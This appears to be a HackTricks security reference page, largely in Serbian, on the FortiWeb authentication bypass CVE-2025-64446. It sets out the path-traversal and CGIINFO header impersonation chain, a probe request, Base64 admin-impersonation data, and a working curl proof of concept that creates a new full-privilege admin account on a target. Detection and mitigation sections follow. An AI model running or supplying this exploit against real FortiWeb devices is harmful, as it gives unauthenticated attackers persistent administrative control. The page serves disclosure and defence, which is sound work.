Fortinet FortiWeb — Auth bypass via API-prefix traversal and CGIINFO impersonation
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
Pregled
Fortinet FortiWeb izlaže centralizovani CGI dispatcher na /cgi-bin/fwbcgi. Lanac od dve ranjivosti omogućava neautentifikovanom daljinskom napadaču da:
- Pristupi
fwbcgitako što URL započne važećim API prefiksom i izvrši traversiranje direktorijuma. - Imitira bilo kog korisnika (uključujući ugrađenog
admin) slanjem posebnog HTTP zaglavlja koje CGI prihvata kao identitet.
Advisory proizvođača: FG‑IR‑25‑910 (CVE‑2025‑64446). Eksploatacija je primećena u divljini za kreiranje postojanih admin naloga.
Pogođene verzije (prema javno dostupnoj dokumentaciji):
- 8.0 < 8.0.2
- 7.6 < 7.6.5
- 7.4 < 7.4.10
- 7.2 < 7.2.12
- 7.0 < 7.0.12
- 6.4 ≤ 6.4.3
- 6.3 ≤ 6.3.23
FortiWeb 8.0.2 vraća HTTP 403 za probe traversiranja ispod.
Brza proba ranjivosti
- Path traversal from API prefix to
fwbcgi:
GET /api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi HTTP/1.1
Host: <target>
- Tumačenje: HTTP 200 → verovatno ranjiv; HTTP 403 → zakrpljeno.
Lanac osnovnih uzroka
- API-prefix path traversal to internal CGI
- Bilo koja putanja zahteva koja počinje važećim FortiWeb API prefiksom (npr.
/api/v2.0/cmdb/ili/api/v2.0/cmd/) može da iskoristi../da dođe do/cgi-bin/fwbcgi.
- Minimal-body validation bypass
- Kada se dosegne
fwbcgi, prvi filter vrši permisivnu proveru JSON-a zasnovanu na fajlu specifičnom za putanju pod/var/log/inputcheck/. Ako fajl ne postoji, provera odmah prolazi. Ako postoji, telo zahteva mora samo da bude validan JSON. Koristite{}kao minimalno važeće telo.
- Header-driven user impersonation
- Program čita CGI environment varijablu
HTTP_CGIINFO(izvedenu iz HTTP headeraCGIINFO), dekodira je iz Base64, parsira JSON i kopira atribute direktno u login kontekst, postavljajući domain/VDOM. Ključevi od interesa: username,loginname,vdom,profname- Primer JSON-a za lažno predstavljanje ugrađenog admina:
{
"username": "admin",
"profname": "prof_admin",
"vdom": "root",
"loginname": "admin"
}
Base64 gore navedenog (kako se koristi u stvarnom svetu):
eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb201OiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ==
End-to-end obrazac zloupotrebe (neautentifikovan → admin)
- Pristupite
/cgi-bin/fwbcgiputem API-prefix traversal. - Pošaljite bilo koje važeće JSON telo (npr.
{}) da biste zadovoljili proveru ulaza. - Pošaljite header
CGIINFO: <base64(json)>gde JSON definiše ciljni identitet. - POST-ujte backend JSON koji
fwbcgiočekuje da biste izvršili privilegovane akcije (npr. kreiranje admin korisnika za persistence).
Minimal cURL PoC
- Probe traversal exposure:
curl -ik 'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
- Prerušite se kao admin i kreirajte novog local admin user:
# Base64(JSON) for admin impersonation
B64='eyJ1c2VybmFtZSI6ICJhZG1pbiIsICJwcm9mbmFtZSI6ICJwcm9mX2FkbWluIiwgInZkb20iOiAicm9vdCIsICJsb2dpbm5hbWUiOiAiYWRtaW4ifQ=='
curl -ik \
-H "CGIINFO: $B64" \
-H 'Content-Type: application/json' \
-X POST \
--data '{"data":{"name":"watchTowr","access-profile":"prof_admin","access-profile_val":"0","trusthostv4":"0.0.0.0/0","trusthostv6":"::/0","type":"local-user","type_val":"0","password":"P@ssw0rd!"}}' \
'https://<host>/api/v2.0/cmdb/system/admin/../../../../../cgi-bin/fwbcgi'
Napomene:
- Bilo koji važeći JSON body je dovoljan (npr.
{}) ako/var/log/inputcheck/<path>.jsonne postoji. - Action schema je FortiWeb-internal; primer gore dodaje lokalnog admina sa punim privilegijama.
Detection
- Zahtevi koji stižu na
/cgi-bin/fwbcgipreko API-prefix puteva koji sadrže../(npr./api/v2.0/cmdb/.../../../../../../cgi-bin/fwbcgi). - Prisutnost headera
CGIINFOsa Base64 JSON-om koji sadrži ključeveusername/loginname/vdom/profname. - Backend artefakti:
- Po-put fajlovi pod
/var/log/inputcheck/(gate configuration). - Neočekivano kreiranje admin naloga i izmene konfiguracije.
- Brza validacija: the traversal probe koja vraća 200 (exposed) naspram 403 (blocked in fixed builds).
Mitigation
- Nadogradite na ispravljena izdanja (primeri: 8.0.2, 7.6.5, 7.4.10, 7.2.12, 7.0.12) prema vendor advisory.
- Dok se ne primeni zakrpa:
- Ne izlažite FortiWeb management plane nepouzdanim mrežama.
- Dodajte reverse-proxy/WAF pravila da blokiraju:
- Putanje koje počinju sa
/api/i sadrže../cgi-bin/fwbcgi. - Zahteve koji nose
CGIINFOheader. - Nadgledajte i alarmirajte na indikatore detekcije navedene iznad.
References
- When the impersonation function gets used to impersonate users — Fortinet FortiWeb auth bypass (watchTowr Labs)
- watchTowr vs FortiWeb Auth Bypass — Detection artefact generator
Tip
Učite i vežbajte AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Učite i vežbajte Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Podržite HackTricks
- Proverite planove pretplate!
- Pridružite se 💬 Discord grupi ili telegram grupi ili pratite nas na Twitteru 🐦 @hacktricks_live.
- Podelite hakerske trikove slanjem PR-ova na HackTricks i HackTricks Cloud github repozitorijume.
HackTricks

